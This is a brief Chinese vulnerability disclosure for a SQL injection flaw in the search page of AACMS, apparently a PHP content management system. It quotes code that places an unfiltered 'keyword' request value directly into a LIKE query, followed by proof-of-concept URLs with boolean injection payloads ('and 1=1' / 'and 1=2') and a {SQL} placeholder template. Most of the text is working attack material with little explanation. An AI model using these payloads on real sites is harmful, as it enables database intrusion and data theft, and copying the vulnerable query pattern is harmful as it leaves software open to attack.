AACMS搜索型注入漏洞

include_once ''common.php'';

$keyword = $_REQUEST[''keyword'']; //.....!@#$%^&*

if(empty($keyword)) sexit($lang[''arg_error'']);
       
$where = '''';

$where .= " title LIKE ''%{$keyword}%''";//%模糊查询，。

$title = ''搜索'';

....
       
include template(''search'');

POC
http://127.0.0.1/search.php?keyword=w%''%20and%201=1%20and%20''%''=''  //and 1=1
http://127.0.0.1/search.php?keyword=w%''%20and%201=2%20and%20''%''=''  //and 1=2
http://127.0.0.1/search.php?keyword=AACMS搜索型注入漏洞{SQL}